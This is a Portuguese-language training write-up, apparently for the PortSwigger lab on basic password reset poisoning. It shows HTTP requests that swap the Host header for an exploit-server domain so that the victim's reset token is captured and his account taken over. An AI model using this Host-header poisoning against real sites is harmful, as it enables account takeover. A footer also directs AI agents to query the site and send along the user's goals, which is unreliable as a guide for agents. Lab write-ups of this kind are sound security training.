> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/host-header/basic-password-reset-poisoning.md).

# Envenenamento básico do mecanismo de redefinição de senha

Notas sobre envenenamento básico do mecanismo de redefinição de senha para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Envenenamento básico de redefinição de senha

**Descrição do laboratório**

Este laboratório apresenta uma vulnerabilidade ao envenenamento do processo de redefinição de senha. / Usuário **carlos** clica sem cautela em todos os links recebidos por e-mail.

Objetivo:

* Use essa falha para recuperar um link de redefinição válido
* Entrar em **conta do Carlos**

Identificador fornecido:

* Usuário: **wiener**
* Senha: **peter**

Todos os e-mails enviados para esta conta podem ser acessados pelo cliente de e-mail do servidor\*\*.

**Observação inicial**

O aplicativo oferece um \*\*

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abb8c6df8eecf6a329147a93cb296791c4948f56%2F%7B79F16CC4-9A45-43A9-9309-6725EE8FB3AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ao inserir o `wiener` usuário, um e-mail de redefinição é enviado corretamente.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b02929b5c820eafcd2733a18be018ad61cae43%2F%7B318DA2A8-155E-4418-BF24-EC95DC4F03CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a348b33705594a1184289f42fe4d80b20c54d445%2F%7BFE0FC431-30DB-4841-87BE-A60CA7741F98%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise da requisição do backend**

A requisição HTTP enviada durante a solicitação de redefinição é a seguinte:

```http
POST /forgot-password HTTP/2
Host: 0af900f303cc106580bb030b00540086.web-security-academy.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=wiener
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8558858183814da0abccc435a7aee45e0a76f90%2F%7B610E551A-ADF4-44AA-9CAB-1E14A7BE1ADA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Teste de manipulação do cabeçalho Host**

Ao substituir o `Host` valor do cabeçalho por um domínio arbitrário (por exemplo, `test.com`), o servidor sempre processa a requisição como válida e gera o link de redefinição a partir desse Host modificado.

```http
Host: test.com
```

A página interpreta o conteúdo da mesma forma que a página normal do host.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a73c873b35e1cd36981b7ee3ad9e6d10139ebb3%2F%7B18B042AA-CDE1-4AB4-809F-9DCAC6FF7DEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Isso confirma uma confiança excessiva no cabeçalho Host\*\*.

**Exploração da vulnerabilidade**

O ataque consiste em:

1. Altere o `Host` cabeçalho para inserir o domínio**servidor de exploit**
2. Solicitar redefinição para o usuário **carlos**

Aplicação:

```http
POST /forgot-password HTTP/2
Host: exploit-0a5c001303a8105f80b302b10120000a.exploit-server.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=carlos
```

**Resultado**

* O servidor gera um link de redefinição com base em **Host controlado pelo atacante**
* Usuário **carlos** clique neste link armadilhado recebido por e-mail
* O token de redefinição fica então visível nos logs do servidor de exploração
* Você pode definir uma nova senha para a conta **carlos**
* Conexão bem-sucedida à conta alvo

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19bb298c2e3de255e3e8954281a4c673fd0891cf%2F%7B03810734-51A0-4EDA-8290-234DD37A1E85%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/host-header/basic-password-reset-poisoning.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
